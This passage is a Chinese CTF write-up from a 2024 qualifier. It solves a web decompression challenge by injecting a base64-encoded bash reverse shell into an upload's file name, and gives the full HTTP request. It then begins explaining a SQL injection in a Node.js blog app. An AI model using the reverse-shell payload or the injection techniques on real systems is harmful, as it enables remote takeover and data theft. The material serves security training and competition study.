2024长城杯校内选拔赛——Writeup
WEB 在线解压(2023国赛 华北赛区) 下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可 命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下: a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`# 完整请求包如下: POST / HTTP/1.1 Host: 1.1.1.1:12345 Content-Length: 277 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#" Content-Type: image/jpeg asdasd ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu-- 附:上传文件请求包 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>POST传输数据包</title> </head> <body> <form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 卫继龚的博客——1(2023WMCTF) 下载题目附件,分析app.js 32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console 在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可 再看getPostById方法,这里直接对传入的id做拼接(在post.js) 直接传/post/1'/edit发现就可以注入 前面提到的鉴权,它的pin在程序启动的时候就被打印出来了 ...